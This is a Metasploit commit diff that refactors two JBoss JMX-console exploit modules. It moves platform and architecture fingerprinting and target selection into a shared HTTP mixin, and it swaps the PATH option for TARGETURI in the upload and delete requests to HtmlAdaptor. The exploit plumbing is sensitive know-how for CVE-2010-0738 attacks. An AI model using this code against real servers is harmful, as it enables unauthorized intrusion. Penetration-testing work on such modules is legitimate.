Skip to content

Commit af9f3b8

Browse files
author
us3r777
committed
Refactoring jboss module to work with the Mixin
Removed datastore USERNAME and PASSWORD which are provided by Msf::Exploit::Remote::HttpClient. Removed datastore PATH and VERB which are provided by the mixin (lib/msf/http/jboss). Moved target detection to the mixin.
1 parent a39f7b9 commit af9f3b8

File tree

3 files changed

+76
-147
lines changed

3 files changed

+76
-147
lines changed

lib/msf/http/jboss/base.rb

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,4 +46,73 @@ def http_verb
4646
datastore['VERB']
4747
end
4848

49+
50+
def auto_target
51+
if http_verb == 'HEAD' then
52+
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
53+
else
54+
print_status("Attempting to automatically select a target...")
55+
res = query_serverinfo
56+
if not (plat = detect_platform(res))
57+
fail_with(Failure::NoTarget, 'Unable to detect platform!')
58+
end
59+
60+
if not (arch = detect_architecture(res))
61+
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
62+
end
63+
64+
# see if we have a match
65+
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
66+
end
67+
68+
# no matching target found, use Java as fallback
69+
java_targets = targets.select {|t| t.name =~ /^Java/ }
70+
return java_targets[0]
71+
end
72+
73+
def query_serverinfo
74+
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
75+
res = send_request_raw(
76+
{
77+
'uri' => path,
78+
'method' => http_verb
79+
})
80+
81+
unless res && res.code == 200
82+
print_error("Failed: Error requesting #{path}")
83+
return nil
84+
end
85+
86+
res
87+
end
88+
89+
# Try to autodetect the target platform
90+
def detect_platform(res)
91+
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
92+
os = $1
93+
if (os =~ /Linux/i)
94+
return 'linux'
95+
elsif (os =~ /FreeBSD/i)
96+
return 'linux'
97+
elsif (os =~ /Windows/i)
98+
return 'win'
99+
end
100+
end
101+
102+
nil
103+
end
104+
105+
# Try to autodetect the target architecture
106+
def detect_architecture(res)
107+
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
108+
arch = $1
109+
if (arch =~ /(x86|i386|i686)/i)
110+
return ARCH_X86
111+
elsif (arch =~ /(x86_64|amd64)/i)
112+
return ARCH_X86
113+
end
114+
end
115+
116+
nil
117+
end
49118
end

modules/exploits/multi/http/jboss_bshdeployer.rb

Lines changed: 0 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -195,73 +195,4 @@ def exploit
195195
handler
196196
end
197197

198-
def auto_target
199-
if http_verb == 'HEAD' then
200-
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
201-
else
202-
print_status("Attempting to automatically select a target...")
203-
res = query_serverinfo
204-
if not (plat = detect_platform(res))
205-
fail_with(Failure::NoTarget, 'Unable to detect platform!')
206-
end
207-
208-
if not (arch = detect_architecture(res))
209-
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
210-
end
211-
212-
# see if we have a match
213-
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
214-
end
215-
216-
# no matching target found, use Java as fallback
217-
java_targets = targets.select {|t| t.name =~ /^Java/ }
218-
return java_targets[0]
219-
end
220-
221-
def query_serverinfo
222-
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
223-
res = send_request_raw(
224-
{
225-
'uri' => path,
226-
'method' => http_verb
227-
})
228-
229-
unless res && res.code == 200
230-
print_error("Failed: Error requesting #{path}")
231-
return nil
232-
end
233-
234-
res
235-
end
236-
237-
# Try to autodetect the target platform
238-
def detect_platform(res)
239-
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
240-
os = $1
241-
if (os =~ /Linux/i)
242-
return 'linux'
243-
elsif (os =~ /FreeBSD/i)
244-
return 'linux'
245-
elsif (os =~ /Windows/i)
246-
return 'win'
247-
end
248-
end
249-
250-
nil
251-
end
252-
253-
# Try to autodetect the target architecture
254-
def detect_architecture(res)
255-
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
256-
arch = $1
257-
if (arch =~ /(x86|i386|i686)/i)
258-
return ARCH_X86
259-
elsif (arch =~ /(x86_64|amd64)/i)
260-
return ARCH_X86
261-
end
262-
end
263-
264-
nil
265-
end
266-
267198
end

modules/exploits/multi/http/jboss_deploymentfilerepository.rb

Lines changed: 7 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
# -*- coding: binary -*-
2-
31
##
42
# This module requires Metasploit: http//metasploit.com/download
53
# Current source: https://github.com/rapid7/metasploit-framework
@@ -12,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1210

1311
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
1412

15-
include Msf::Exploit::Remote::HttpClient
13+
include Msf::HTTP::JBoss
1614

1715
def initialize(info = {})
1816
super(update_info(info,
@@ -78,12 +76,8 @@ def initialize(info = {})
7876
register_options(
7977
[
8078
Opt::RPORT(8080),
81-
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
82-
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
8379
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
84-
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
85-
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
86-
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
80+
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
8781
], self.class)
8882
end
8983

@@ -274,14 +268,14 @@ def upload_file(base_name, jsp_name, content)
274268
if (datastore['VERB'] == "POST")
275269
res = send_request_cgi(
276270
{
277-
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
271+
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor'),
278272
'method' => datastore['VERB'],
279273
'data' => data
280274
}, 5)
281275
else
282276
res = send_request_cgi(
283277
{
284-
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
278+
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor') + "?#{data}",
285279
'method' => datastore['VERB'],
286280
}, 30)
287281
end
@@ -305,14 +299,14 @@ def delete_file(folder, name, ext)
305299
if (datastore['VERB'] == "POST")
306300
res = send_request_cgi(
307301
{
308-
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
302+
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor'),
309303
'method' => datastore['VERB'],
310304
'data' => data
311305
}, 5)
312306
else
313307
res = send_request_cgi(
314308
{
315-
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
309+
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor;index.jsp') + "?#{data}",
316310
'method' => datastore['VERB'],
317311
}, 30)
318312
end
@@ -321,6 +315,7 @@ def delete_file(folder, name, ext)
321315

322316
# Call the URL multiple times until we have hit
323317
def call_uri_mtimes(uri, num_attempts = 5)
318+
verb = datastore['VERB']
324319
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
325320

326321
# JBoss might need some time for the deployment. Try 5 times at most and
@@ -353,70 +348,4 @@ def call_uri_mtimes(uri, num_attempts = 5)
353348
end
354349
end
355350

356-
357-
def auto_target
358-
print_status("Attempting to automatically select a target...")
359-
res = query_serverinfo
360-
if not (plat = detect_platform(res))
361-
fail_with(Failure::NoTarget, 'Unable to detect platform!')
362-
end
363-
364-
if not (arch = detect_architecture(res))
365-
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
366-
end
367-
368-
# see if we have a match
369-
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
370-
371-
# no matching target found, use Java as fallback
372-
java_targets = targets.select {|t| t.name =~ /^Java/ }
373-
return java_targets[0]
374-
end
375-
376-
377-
def query_serverinfo
378-
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
379-
res = send_request_raw(
380-
{
381-
'uri' => path,
382-
'method' => datastore['VERB']
383-
}, 20)
384-
385-
if (not res) or (res.code != 200)
386-
print_error("Failed: Error requesting #{path}")
387-
return nil
388-
end
389-
390-
res
391-
end
392-
393-
# Try to autodetect the target platform
394-
def detect_platform(res)
395-
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
396-
os = $1
397-
if (os =~ /Linux/i)
398-
return 'linux'
399-
elsif (os =~ /FreeBSD/i)
400-
return 'linux'
401-
elsif (os =~ /Windows/i)
402-
return 'win'
403-
end
404-
end
405-
nil
406-
end
407-
408-
409-
# Try to autodetect the target architecture
410-
def detect_architecture(res)
411-
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
412-
arch = $1
413-
if (arch =~ /(x86|i386|i686)/i)
414-
return ARCH_X86
415-
elsif (arch =~ /(x86_64|amd64)/i)
416-
return ARCH_X86
417-
end
418-
end
419-
nil
420-
end
421-
422351
end

0 commit comments

Comments
 (0)